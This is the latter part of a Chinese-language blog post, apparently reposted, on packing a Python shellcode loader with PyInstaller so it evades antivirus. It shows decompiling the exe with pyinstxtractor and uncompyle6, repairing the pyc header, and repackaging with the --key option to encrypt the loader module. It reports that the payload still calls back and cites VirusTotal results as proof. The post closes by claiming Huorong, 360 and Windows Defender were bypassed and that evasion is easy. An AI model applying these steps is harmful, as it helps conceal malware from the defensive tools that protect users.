将文件保存起来
这里就无法找到py_shell_fuzz
中的内容了,那文件到底在哪呢?
我们将反编译之后的PYZ-00.pyz_extracted
文件夹找到了该pyc文件
对该pyc文件直接进行解密
uncompyle6 py_shellcode_fuzz.pyc
报错,这里使用010 editor分析下pyc文件
通过与get.pyc对比发现,这里少了4个字节,因此需要对其进行补全
将文件保存为new_py_shell.pyc
再对其进行解密
uncompyle6 new_py_shell.pyc
再将文件保存起来
uncompyle6 new_py_shell.pyc > new_shell.py
此时该文件被完全解密
此时将文件使用VT查杀测试
VT 查杀
https://www.virustotal.com/gui/file-analysis/MWM3N2M3NmExNjhlZmZkMDNmZDZkMTY2MzU1YWZjMzI6MTYyMzk0MTQwMQ==/detection
8. pyinstaller使用key参数打包exe
在上文中pyinstaller中--key
参数可以对依赖库进行了加密,因此在这里尝试使用--key参数重新打包一下
pyinstaller -F --key crowcrow --noconsole test.py
直接在dist文件夹下尝试获取pyc文件
python pyinstxtractor.py test.exe
这里该失败的失败,该成功的成功
同样的手法,对下面箭头的文件进行解密
得到文件final.pyc
uncompyle6 final.pyc
这里和上面的也是一样的,显示从py_shellcode_fuzz
中调用了shell
函数。那就去同样的位置去找py_shellcode_fuzz.pyc
文件。
但是这里可以看到py_shellcode_fuzz.pyc
已经被加密变成了py_shellcode_fuzz.pyc.encrypted
文件格式。
将该文件使用010 editor
打开,通过对比发现,该文件已经被加密,无法使用uncompyle6
对其进行解密,当然这个文件依旧可以解密,但是解密成本要远高于目前的手法。
此时对原来的文件双击测试
依旧可以上线
VT查杀:
https://www.virustotal.com/gui/file/c2b081a565dbd4848eff43a9bae0da4da5cd8945f12b053470484cdb2df838fc/detection
9. 总结
本文使用了最基本的shellcode加载器免杀的方法,而且一起学习了pyinstaller打包exe的反编译方式,也顺便免杀了火绒、360、Windows Defender,当然从该文章发出来的那一刻起,可能免杀就不再有效了,不过,方法千千万,免杀没有那么难。
微信公众号:乌鸦安全
扫取二维码获取更多信息!
最后
以上就是聪明大神为你收集整理的pyinstaller打包逆向分析,顺便免杀Windows Defender1. python3利用shellcode免杀火绒2. 无av条件下使用3. shellcode免杀4. exe文件反编译5. 免杀exe反编译测试6. pyinstaller加密打包exe7. python打包的exe如何加密8. pyinstaller使用key参数打包exe9. 总结的全部内容,希望文章能够帮你解决pyinstaller打包逆向分析,顺便免杀Windows Defender1. python3利用shellcode免杀火绒2. 无av条件下使用3. shellcode免杀4. exe文件反编译5. 免杀exe反编译测试6. pyinstaller加密打包exe7. python打包的exe如何加密8. pyinstaller使用key参数打包exe9. 总结所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复